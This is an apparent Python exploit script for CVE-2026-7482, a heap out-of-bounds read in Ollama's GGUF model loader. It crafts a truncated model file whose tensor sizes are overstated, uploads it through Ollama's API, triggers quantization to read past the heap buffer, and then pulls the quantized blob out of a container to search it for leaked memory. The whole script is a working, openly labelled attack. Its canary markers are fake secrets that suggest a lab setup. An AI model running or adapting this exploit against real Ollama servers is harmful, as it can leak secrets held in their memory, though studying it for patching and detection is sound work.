#!/usr/bin/env python3
"""
Exploit for CVE-2026-7482 - Ollama Heap OOB Read in GGUF Model Loader
Ollama < 0.17.1 doesn't validate that tensor declared sizes match actual file data.
During quantization, the server reads past the allocated heap buffer, leaking memory.

Attack flow:
1. Craft malicious GGUF with oversized tensor declarations
2. Import into Ollama (via pull from registry or local file)
3. Trigger quantization via /api/create with quantize parameter
4. Leaked heap data is embedded in quantized output
5. Copy the generated quantized blob locally and inspect it for leaked heap data
"""

import struct
import io
import requests
import sys
import json
import hashlib
import os
import subprocess
import math

# GGUF constants
GGUF_MAGIC = b"GGUF"
GGUF_VERSION = 3

# ggml_type enum
GGML_TYPE_F32 = 0
GGML_TYPE_F16 = 1
GGML_TYPE_Q8_0 = 8
GGML_TYPE_Q4_K = 12
GGML_FILE_TYPE_MOSTLY_F16 = 1
GGML_TYPE_NAMES = {
    "F32": GGML_TYPE_F32,
    "F16": GGML_TYPE_F16,
    "Q8_0": GGML_TYPE_Q8_0,
    "Q4_K": GGML_TYPE_Q4_K,
}

Q8_0_BLOCK_SIZE = 34
Q8_0_VALUES_PER_BLOCK = 32

CANARY_MARKERS = [
    "CANARY-STROKE-CVE7482-20260507-ZM9K7Q-PURPLE-ANCHOR",
    "FAKE_OPENAI_API_KEY=sk-proj-CVE7482TEST-alpha-000111222333444555",
    "FAKE_AWS_ACCESS_KEY_ID=AKIA-CVE7482-LEAKTEST-01",
    "FAKE_AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI-K7-CVE7482-fake-secret-key-02",
    "FAKE_GITHUB_PAT=ghp_CVE7482LeakProbe777888999000abcDEF",
    "BLUE-LANTERN-HEAP-CHECKPOINT",
    "DATABASE_URL=postgresql://cve7482_user:fakepass_HEAP_TRACE_314159@db.internal.local:5432/canarydb",
    "SESSION_BEARER_TOKEN=fake.jwt.CVE7482.eyJjYW5hcnkiOiJvcmFuZ2Utc3BpbmRsZSJ9",
    "ORANGE-SPINDLE-TRACE",
]

CANARY_FRAGMENTS = [
    "CVE7482",
    "CANARY",
    "sk-proj",
    "AKIA",
    "ghp_",
    "postgresql",
    "HEAP",
]

# gguf_metadata_value_type enum
GGUF_TYPE_UINT32 = 4
GGUF_TYPE_STRING = 8
GGUF_TYPE_ARRAY = 9
GGUF_TYPE_UINT64 = 10

# Alignment
GGUF_DEFAULT_ALIGNMENT = 32


def write_gguf_string(buf, s):
    """Write a GGUF string: uint64 length + bytes (no null terminator)"""
    encoded = s.encode('utf-8')
    buf.write(struct.pack('<Q', len(encoded)))
    buf.write(encoded)


def write_gguf_kv_string(buf, key, value):
    """Write a KV pair with string key and string value"""
    write_gguf_string(buf, key)
    buf.write(struct.pack('<I', GGUF_TYPE_STRING))
    write_gguf_string(buf, value)


def write_gguf_kv_uint32(buf, key, value):
    """Write a KV pair with string key and uint32 value"""
    write_gguf_string(buf, key)
    buf.write(struct.pack('<I', GGUF_TYPE_UINT32))
    buf.write(struct.pack('<I', value))


def read_gguf_string(data, offset):
    """Read a GGUF string and return (value, next_offset)."""
    length = struct.unpack_from("<Q", data, offset)[0]
    offset += 8
    value = data[offset:offset + length].decode("utf-8", errors="replace")
    return value, offset + length


def skip_gguf_value(data, offset, value_type):
    """Skip a GGUF metadata value and return the next offset."""
    scalar_sizes = {
        0: 1,   # UINT8
        1: 1,   # INT8
        2: 2,   # UINT16
        3: 2,   # INT16
        4: 4,   # UINT32
        5: 4,   # INT32
        6: 4,   # FLOAT32
        7: 1,   # BOOL
        10: 8,  # UINT64
        11: 8,  # INT64
        12: 8,  # FLOAT64
    }

    if value_type == GGUF_TYPE_STRING:
        _, offset = read_gguf_string(data, offset)
        return offset

    if value_type == GGUF_TYPE_ARRAY:
        item_type = struct.unpack_from("<I", data, offset)[0]
        count = struct.unpack_from("<Q", data, offset + 4)[0]
        offset += 12
        for _ in range(count):
            offset = skip_gguf_value(data, offset, item_type)
        return offset

    return offset + scalar_sizes[value_type]


def write_gguf_tensor_info(buf, name, shape, kind, offset):
    """Write tensor info: name, n_dimensions, dimensions[], type, offset"""
    write_gguf_string(buf, name)
    buf.write(struct.pack('<I', len(shape)))
    for dim in shape:
        buf.write(struct.pack('<Q', dim))
    buf.write(struct.pack('<I', kind))
    buf.write(struct.pack('<Q', offset))


def tensor_size(shape, kind):
    """Calculate tensor size in bytes based on shape and element type"""
    elements = 1
    for dim in shape:
        elements *= dim
    
    type_sizes = {
        GGML_TYPE_F32: 4,
        GGML_TYPE_F16: 2,
    }
    return elements * type_sizes.get(kind, 4)


def tensor_type_name(kind):
    """Return a human-readable tensor type name."""
    for name, value in GGML_TYPE_NAMES.items():
        if value == kind:
            return name
    return f"type-{kind}"


def align_offset(offset, alignment=GGUF_DEFAULT_ALIGNMENT):
    """Calculate padding needed for alignment"""
    return (alignment - offset % alignment) % alignment


def sha256_file(path):
    """Calculate SHA256 digest for a local file."""
    digest = hashlib.sha256()
    with open(path, "rb") as f:
        for chunk in iter(lambda: f.read(1024 * 1024), b""):
            digest.update(chunk)
    return f"sha256:{digest.hexdigest()}"


def upload_blob(target_host, path):
    """Upload a local file as an Ollama blob and return its digest."""
    digest = sha256_file(path)
    blob_url = f"{target_host}/api/blobs/{digest}"

    print(f"[*] Uploading GGUF blob {digest}")
    head_response = requests.head(blob_url, timeout=30)
    if head_response.status_code == 200:
        print("[*] Blob already exists on target")
        return digest

    with open(path, "rb") as f:
        response = requests.post(blob_url, data=f, timeout=300)

    if response.status_code not in (200, 201):
        raise RuntimeError(f"blob upload failed: {response.status_code} - {response.text}")

    return digest


def craft_malicious_gguf(oversized_shape=(4096, 4), actual_data_size=64, kind=GGML_TYPE_F16):
    """
    Craft a malicious GGUF file where a tensor declares a large shape
    but the actual file data is much shorter.
    
    Before the fix (Ollama < 0.17.1), Decode() doesn't validate that
    tensor offset+size exceeds file size, allowing OOB heap read during
    quantization.
    """
    buf = io.BytesIO()
    
    # Header
    buf.write(GGUF_MAGIC)                       # Magic
    buf.write(struct.pack('<I', GGUF_VERSION))   # Version
    buf.write(struct.pack('<Q', 1))              # tensor_count = 1
    buf.write(struct.pack('<Q', 3))              # metadata_kv_count = 3
    
    # Metadata KV pairs
    # Required: general.architecture
    write_gguf_kv_string(buf, "general.architecture", "llama")
    # Required for Ollama 0.17.0 to recognize the file as a quantizable F16 model
    write_gguf_kv_uint32(buf, "general.file_type", GGML_FILE_TYPE_MOSTLY_F16)
    # Set alignment to 32
    write_gguf_kv_uint32(buf, "general.alignment", GGUF_DEFAULT_ALIGNMENT)
    
    # Tensor info for one tensor
    write_gguf_tensor_info(buf, "blk.0.attn.weight", oversized_shape, kind, 0)
    
    # Pad to alignment
    current_offset = buf.tell()
    padding = align_offset(current_offset, GGUF_DEFAULT_ALIGNMENT)
    buf.write(b'\x00' * padding)
    
    # Write truncated tensor data (much less than declared)
    # This is the key: the tensor info says it's declared_size bytes,
    # but we only write actual_data_size bytes
    buf.write(b'\x00' * actual_data_size)
    
    # The file is now truncated relative to what the tensor declares
    # On vulnerable Ollama, Decode() won't check this
    # During quantization, ReadFull or mmap will read past the buffer
    
    return buf.getvalue()


def exploit_create_quantize(target_host, model_name, gguf_path, quantize="Q4_K_M"):
    """
    Step 1: Import malicious GGUF and trigger quantization
    This causes the OOB heap read
    """
    url = f"{target_host}/api/create"
    digest = upload_blob(target_host, gguf_path)
    
    payload = {
        "model": model_name,
        "files": {
            os.path.basename(gguf_path): digest,
        },
        "quantize": quantize,
        "stream": False,
    }
    
    print(f"[*] Sending create request with quantization to {url}")
    print(f"[*] Model: {model_name}, GGUF: {gguf_path}, Quantize: {quantize}")
    
    response = requests.post(url, json=payload, timeout=300)
    
    if response.status_code == 200:
        print("[+] Model created successfully")
        for line in response.text.strip().split('\n'):
            if line:
                try:
                    data = json.loads(line)
                    if data.get('status'):
                        print(f"    Status: {data['status']}")
                except json.JSONDecodeError:
                    pass
        return True
    else:
        print(f"[-] Failed: {response.status_code} - {response.text}")
        return False


def show_model(target_host, model_name):
    """Return Ollama metadata for a created model."""
    response = requests.post(
        f"{target_host}/api/show",
        json={"model": model_name},
        timeout=30,
    )
    response.raise_for_status()
    return response.json()


def model_blob_path(model_info):
    """Extract the local blob path from Ollama's generated Modelfile."""
    for line in model_info.get("modelfile", "").splitlines():
        if line.startswith("FROM /"):
            return line.removeprefix("FROM ").strip()
    return None


def copy_blob_from_container(container_name, blob_path, output_path):
    """Copy a model blob from a local Docker container."""
    subprocess.run(
        ["docker", "cp", f"{container_name}:{blob_path}", output_path],
        check=True,
    )


def delete_model(target_host, model_name):
    """Delete an Ollama model if it exists."""
    requests.delete(f"{target_host}/api/delete", json={"model": model_name}, timeout=30)


def create_quantized_blob(target_host, container_name, model_name, gguf_path, output_path, quantize):
    """Create a quantized model and copy its generated GGUF blob locally."""
    if not exploit_create_quantize(target_host, model_name, gguf_path, quantize=quantize):
        raise RuntimeError(f"failed to create quantized model {model_name}")

    model_info = show_model(target_host, model_name)
    blob_path = model_blob_path(model_info)
    if not blob_path:
        raise RuntimeError(f"could not find generated blob path for {model_name}")

    print(f"[*] Quantized blob path for {model_name}: {blob_path}")
    print(f"[*] Copying from container {container_name} to {output_path}")
    copy_blob_from_container(container_name, blob_path, output_path)
    return blob_path


def extract_leaked_data(gguf_data):
    """
    Step 3: Extract leaked heap data from the quantized model
    The leaked data will be in tensor data that contains heap contents
    instead of expected quantized weights
    """
    # Parse the GGUF to find tensor data
    # Look for patterns that suggest leaked memory:
    # - ASCII strings (env vars, API keys)
    # - Structured data (JSON, tokens)
    # - Repeated null bytes followed by non-null data
    
    leaked = []
    
    # Simple heuristic: extract printable ASCII sequences >= 8 chars
    current_str = ""
    for i in range(len(gguf_data)):
        byte = gguf_data[i]
        if 32 <= byte <= 126:  # printable ASCII
            current_str += chr(byte)
        else:
            if len(current_str) >= 8:
                leaked.append(current_str)
            current_str = ""
    
    if len(current_str) >= 8:
        leaked.append(current_str)
    
    return leaked


def byte_entropy(data):
    """Calculate Shannon entropy for a byte string."""
    if not data:
        return 0.0

    counts = [0] * 256
    for byte in data:
        counts[byte] += 1

    entropy = 0.0
    for count in counts:
        if count:
            probability = count / len(data)
            entropy -= probability * math.log2(probability)
    return entropy


def diff_runs(left, right):
    """Return byte ranges that differ between two equal-length byte strings."""
    if len(left) != len(right):
        raise ValueError("cannot diff byte strings with different lengths")

    runs = []
    start = None
    for index, (left_byte, right_byte) in enumerate(zip(left, right)):
        if left_byte != right_byte and start is None:
            start = index
        elif left_byte == right_byte and start is not None:
            runs.append((start, index))
            start = None

    if start is not None:
        runs.append((start, len(left)))

    return runs


def hexdump(data, base_offset=0, width=16):
    """Return a compact hex/ascii dump."""
    lines = []
    for row_start in range(0, len(data), width):
        chunk = data[row_start:row_start + width]
        hex_part = " ".join(f"{byte:02x}" for byte in chunk)
        ascii_part = "".join(chr(byte) if 32 <= byte <= 126 else "." for byte in chunk)
        lines.append(f"{base_offset + row_start:08x}  {hex_part:<{width * 3}} {ascii_part}")
    return "\n".join(lines)


def float_to_f16_bytes(value):
    """Convert a Python float to IEEE 754 binary16 bytes with inf fallback."""
    try:
        return struct.pack("<e", value)
    except OverflowError:
        return struct.pack("<H", 0xFC00 if value < 0 else 0x7C00)


def float_to_f32_bytes(value):
    """Convert a Python float to IEEE 754 binary32 bytes with inf fallback."""
    try:
        return struct.pack("<f", value)
    except OverflowError:
        return struct.pack("<f", math.copysign(math.inf, value))


def f16_bytes_to_float(raw):
    """Convert two IEEE 754 binary16 bytes to a Python float."""
    return struct.unpack("<e", raw)[0]


def dequantize_q8_0_payload(payload):
    """Dequantize GGML Q8_0 payload into float values."""
    if len(payload) % Q8_0_BLOCK_SIZE != 0:
        raise ValueError(
            f"Q8_0 payload length {len(payload)} is not divisible by {Q8_0_BLOCK_SIZE}"
        )

    values = []
    for offset in range(0, len(payload), Q8_0_BLOCK_SIZE):
        block = payload[offset:offset + Q8_0_BLOCK_SIZE]
        scale = f16_bytes_to_float(block[:2])
        quants = struct.unpack("<32b", block[2:])
        values.extend(scale * quant for quant in quants)
    return values


def floats_to_f32_bytes(values):
    """Pack float values as little-endian float32 bytes."""
    return b"".join(float_to_f32_bytes(value) for value in values)


def floats_to_pseudo_f16_bytes(values):
    """Pack dequantized float values back to little-endian F16 bytes."""
    return b"".join(float_to_f16_bytes(value) for value in values)


def search_bytes(buffer, needle, case_sensitive=True):
    """Return all offsets of needle inside buffer."""
    if not case_sensitive:
        buffer = buffer.lower()
        needle = needle.lower()

    offsets = []
    start = 0
    while True:
        index = buffer.find(needle, start)
        if index == -1:
            return offsets
        offsets.append(index)
        start = index + 1


def search_markers(buffers, markers=CANARY_MARKERS, fragments=CANARY_FRAGMENTS):
    """Search exact markers and common fragments across named byte buffers."""
    exact_hits = []
    fragment_hits = []

    for buffer_name, data in buffers.items():
        for marker in markers:
            offsets = search_bytes(data, marker.encode("utf-8"))
            if offsets:
                exact_hits.append((buffer_name, marker, offsets))

        for fragment in fragments:
            offsets = search_bytes(data, fragment.encode("utf-8"), case_sensitive=False)
            if offsets:
                fragment_hits.append((buffer_name, fragment, offsets))

    return exact_hits, fragment_hits


def write_printable_strings(path, data):
    """Write printable strings extracted from data to a text artifact."""
    strings = extract_leaked_data(data)
    with open(path, "w", encoding="utf-8") as f:
        for value in strings:
            f.write(value + "\n")
    return strings


def analyze_q8_0_reconstruction(exploit_payload, control_payload):
    """Dequantize Q8_0 output and build pseudo-F16 artifacts."""
    print("\n[4] Q8_0 dequantization and pseudo-F16 reconstruction...")
    exploit_values = dequantize_q8_0_payload(exploit_payload)
    control_values = dequantize_q8_0_payload(control_payload)

    exploit_f32 = floats_to_f32_bytes(exploit_values)
    control_f32 = floats_to_f32_bytes(control_values)
    exploit_pseudo_f16 = floats_to_pseudo_f16_bytes(exploit_values)
    control_pseudo_f16 = floats_to_pseudo_f16_bytes(control_values)

    with open("q8_dequantized_f32.bin", "wb") as f:
        f.write(exploit_f32)
    with open("q8_pseudo_f16.bin", "wb") as f:
        f.write(exploit_pseudo_f16)

    printable_strings = write_printable_strings("q8_pseudo_f16.txt", exploit_pseudo_f16)
    print(f"[*] Dequantized float values: {len(exploit_values)}")
    print("[*] First 16 dequantized values:")
    print("    " + ", ".join(f"{value:.8g}" for value in exploit_values[:16]))
    print("[*] Artifacts written:")
    print("    q8_dequantized_f32.bin")
    print("    q8_pseudo_f16.bin")
    print("    q8_pseudo_f16.txt")

    f32_runs = diff_runs(exploit_f32, control_f32)
    pseudo_f16_runs = diff_runs(exploit_pseudo_f16, control_pseudo_f16)
    print(
        f"[*] Dequantized F32 bytes changed vs zero-control: "
        f"{sum(end - start for start, end in f32_runs)}/{len(exploit_f32)}"
    )
    print(
        f"[*] Pseudo-F16 bytes changed vs zero-control: "
        f"{sum(end - start for start, end in pseudo_f16_runs)}/{len(exploit_pseudo_f16)}"
    )

    if pseudo_f16_runs:
        print("[+] First pseudo-F16 differing regions:")
        for start, end in pseudo_f16_runs[:4]:
            window_start = max(0, start - 16)
            window_end = min(len(exploit_pseudo_f16), end + 16)
            print(f"\n--- pseudo-F16 diff range {start}:{end} ({end - start} bytes) ---")
            print("exploit:")
            print(hexdump(exploit_pseudo_f16[window_start:window_end], window_start))
            print("control:")
            print(hexdump(control_pseudo_f16[window_start:window_end], window_start))

    buffers = {
        "raw_q8_0_tensor": exploit_payload,
        "dequantized_f32_bytes": exploit_f32,
        "pseudo_f16_bytes": exploit_pseudo_f16,
    }
    exact_hits, fragment_hits = search_markers(buffers)

    if exact_hits:
        print("[+] Exact canary marker hits:")
        for buffer_name, marker, offsets in exact_hits:
            print(f"    {buffer_name}: {marker} @ {offsets[:8]}")
    else:
        print("[*] No exact canary marker hits in Q8_0-derived buffers")

    if fragment_hits:
        print("[+] Canary fragment hits:")
        for buffer_name, fragment, offsets in fragment_hits:
            print(f"    {buffer_name}: {fragment} @ {offsets[:8]}")
    else:
        print("[*] No canary fragment hits in Q8_0-derived buffers")

    if printable_strings:
        print("[+] Printable strings observed in pseudo-F16 bytes:")
        for value in printable_strings[:50]:
            print(f"    {value}")
        if len(printable_strings) > 50:
            print(f"    ... truncated {len(printable_strings) - 50} more strings")
    else:
        print("[*] No printable strings found in pseudo-F16 bytes")


def q4_k_blocks(payload):
    """Split a Q4_K tensor payload into block_q4_K chunks."""
    block_size = 144
    return [payload[index:index + block_size] for index in range(0, len(payload), block_size)]


def summarize_oob_influence(exploit_payload, control_payload):
    """Compare exploit output to a zero-filled control quantization."""
    runs = diff_runs(exploit_payload, control_payload)
    changed = sum(end - start for start, end in runs)
    print(f"[*] Tensor bytes: {len(exploit_payload)}")
    print(f"[*] Bytes changed vs zero-control: {changed}/{len(exploit_payload)}")
    print(f"[*] Diff runs: {len(runs)}")
    print(f"[*] Exploit tensor entropy: {byte_entropy(exploit_payload):.3f} bits/byte")
    print(f"[*] Control tensor entropy: {byte_entropy(control_payload):.3f} bits/byte")

    changed_blocks = []
    if len(exploit_payload) % 144 == 0:
        exploit_blocks = q4_k_blocks(exploit_payload)
        control_blocks = q4_k_blocks(control_payload)
        changed_blocks = [
            index
            for index, (exploit_block, control_block) in enumerate(zip(exploit_blocks, control_blocks))
            if exploit_block != control_block
        ]
        print(f"[*] 144-byte quantized blocks changed vs zero-control: {len(changed_blocks)}/{len(exploit_blocks)}")

    if not runs:
        print("[*] No byte-level difference from zero-control was detected")
        return

    print("[+] First differing regions, shown as quantized bytes:")
    for start, end in runs[:8]:
        window_start = max(0, start - 16)
        window_end = min(len(exploit_payload), end + 16)
        print(f"\n--- diff range {start}:{end} ({end - start} bytes) ---")
        print("exploit:")
        print(hexdump(exploit_payload[window_start:window_end], window_start))
        print("control:")
        print(hexdump(control_payload[window_start:window_end], window_start))

    if changed_blocks:
        print("\n[+] First changed Q4_K block indexes:")
        print("    " + ", ".join(str(index) for index in changed_blocks[:32]))


def gguf_tensor_payloads(gguf_data):
    """Return tensor payload byte ranges from a GGUF file."""
    if gguf_data[:4] != GGUF_MAGIC:
        raise ValueError("not a GGUF file")

    tensor_count = struct.unpack_from("<Q", gguf_data, 8)[0]
    metadata_kv_count = struct.unpack_from("<Q", gguf_data, 16)[0]
    offset = 24
    alignment = GGUF_DEFAULT_ALIGNMENT

    for _ in range(metadata_kv_count):
        key, offset = read_gguf_string(gguf_data, offset)
        value_type = struct.unpack_from("<I", gguf_data, offset)[0]
        offset += 4
        if key == "general.alignment" and value_type == GGUF_TYPE_UINT32:
            alignment = struct.unpack_from("<I", gguf_data, offset)[0]
        offset = skip_gguf_value(gguf_data, offset, value_type)

    tensors = []
    for _ in range(tensor_count):
        name, offset = read_gguf_string(gguf_data, offset)
        n_dims = struct.unpack_from("<I", gguf_data, offset)[0]
        offset += 4
        shape = []
        for _ in range(n_dims):
            shape.append(struct.unpack_from("<Q", gguf_data, offset)[0])
            offset += 8
        kind = struct.unpack_from("<I", gguf_data, offset)[0]
        tensor_offset = struct.unpack_from("<Q", gguf_data, offset + 4)[0]
        offset += 12
        tensors.append((name, shape, kind, tensor_offset))

    data_start = offset + align_offset(offset, alignment)
    tensors.sort(key=lambda item: item[3])
    payloads = []
    for index, (name, shape, kind, tensor_offset) in enumerate(tensors):
        start = data_start + tensor_offset
        if index + 1 < len(tensors):
            end = data_start + tensors[index + 1][3]
        else:
            end = len(gguf_data)
        payloads.append((name, shape, kind, gguf_data[start:end]))

    return payloads


def main():
    print("=" * 70)
    print("CVE-2026-7482 - Ollama Heap OOB Read Exploit")
    print("Target: Ollama < 0.17.1")
    print("=" * 70)
    
    target_host = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:11435"
    container_name = sys.argv[2] if len(sys.argv) > 2 else "ollama-old-test"
    quantize = sys.argv[3] if len(sys.argv) > 3 else "Q4_K_M"
    source_kind_name = sys.argv[4].upper() if len(sys.argv) > 4 else "F16"
    if source_kind_name not in GGML_TYPE_NAMES:
        print(f"[-] Unsupported source tensor kind: {source_kind_name}. Use F16 or F32.")
        sys.exit(2)
    source_kind = GGML_TYPE_NAMES[source_kind_name]
    
    # Step 0: Craft the malicious GGUF file
    print("\n[0] Crafting malicious and zero-control GGUF files...")
    
    # Create a tensor that declares shape [4096, 4]
    # but only includes 64 bytes of actual data
    tensor_shape = (4096, 4)
    actual_data_size = 64
    declared_size = tensor_size(tensor_shape, source_kind)
    malicious_gguf = craft_malicious_gguf(
        oversized_shape=tensor_shape,
        actual_data_size=actual_data_size,
        kind=source_kind,
    )
    control_gguf = craft_malicious_gguf(
        oversized_shape=tensor_shape,
        actual_data_size=declared_size,
        kind=source_kind,
    )
    
    output_path = "malicious_model.gguf"
    with open(output_path, 'wb') as f:
        f.write(malicious_gguf)
    control_path = "control_model.gguf"
    with open(control_path, 'wb') as f:
        f.write(control_gguf)
    
    print(f"[+] Malicious GGUF written to {output_path}")
    print(f"    Source tensor kind:   {tensor_type_name(source_kind)}")
    print(f"    Declared tensor size: {declared_size} bytes")
    print(f"    Actual data in file:  {actual_data_size} bytes")
    print(f"    OOB read amount:      {declared_size - actual_data_size} bytes")
    print(f"[+] Zero-control GGUF written to {control_path}")
    print(f"    Control tensor bytes: {declared_size} bytes")

    # Step 1: Import and trigger quantization for the truncated tensor
    print("\n[1] Triggering OOB read via quantization...")
    print(f"    Target: {target_host}")
    print(f"    Container: {container_name}")
    print(f"    Quantize: {quantize}")
    print(f"    Source tensor kind: {tensor_type_name(source_kind)}")
    
    model_name = "pwn-leak"
    control_model_name = "pwn-control"
    quantized_path = "quantized_model.gguf"
    control_quantized_path = "control_quantized_model.gguf"

    try:
        create_quantized_blob(
            target_host,
            container_name,
            model_name,
            output_path,
            quantized_path,
            quantize,
        )

        # Step 2: Quantize a full zero tensor as the control sample
        print("\n[2] Creating zero-control quantized model...")
        create_quantized_blob(
            target_host,
            container_name,
            control_model_name,
            control_path,
            control_quantized_path,
            quantize,
        )

        # Step 3: Compare the local quantized GGUF copies
        print("\n[3] Extracting OOB-influenced quantized data...")
        with open(quantized_path, "rb") as f:
            quantized_data = f.read()
        with open(control_quantized_path, "rb") as f:
            control_quantized_data = f.read()

        exploit_payloads = gguf_tensor_payloads(quantized_data)
        control_payloads = gguf_tensor_payloads(control_quantized_data)
        if len(exploit_payloads) != 1 or len(control_payloads) != 1:
            raise RuntimeError("expected exactly one tensor in both quantized GGUF files")

        exploit_name, exploit_shape, exploit_kind, exploit_payload = exploit_payloads[0]
        control_name, control_shape, control_kind, control_payload = control_payloads[0]
        print(
            f"[*] Exploit tensor: {exploit_name}, type={exploit_kind}, "
            f"shape={exploit_shape}, bytes={len(exploit_payload)}"
        )
        print(
            f"[*] Control tensor: {control_name}, type={control_kind}, "
            f"shape={control_shape}, bytes={len(control_payload)}"
        )

        summarize_oob_influence(exploit_payload, control_payload)

        leaked_strings = extract_leaked_data(exploit_payload)
        if leaked_strings:
            print("\n[+] Printable strings observed in exploit tensor payload:")
            for value in leaked_strings[:50]:
                print(f"    {value}")
            if len(leaked_strings) > 50:
                print(f"    ... truncated {len(leaked_strings) - 50} more strings")
        else:
            print("\n[*] No printable strings found in exploit tensor payload")

        if exploit_kind == GGML_TYPE_Q8_0 and control_kind == GGML_TYPE_Q8_0:
            analyze_q8_0_reconstruction(exploit_payload, control_payload)
        else:
            print(
                f"\n[*] Q8_0 reconstruction skipped for tensor types "
                f"exploit={exploit_kind}, control={control_kind}"
            )

        print("\n" + "=" * 70)
        print("[+] Exploit chain complete!")
        print(f"[*] OOB-influenced blob: {quantized_path}")
        print(f"[*] Zero-control blob:   {control_quantized_path}")
    finally:
        print("[*] Cleanup: deleting temporary Ollama models")
        delete_model(target_host, model_name)
        delete_model(target_host, control_model_name)


if __name__ == "__main__":
    main()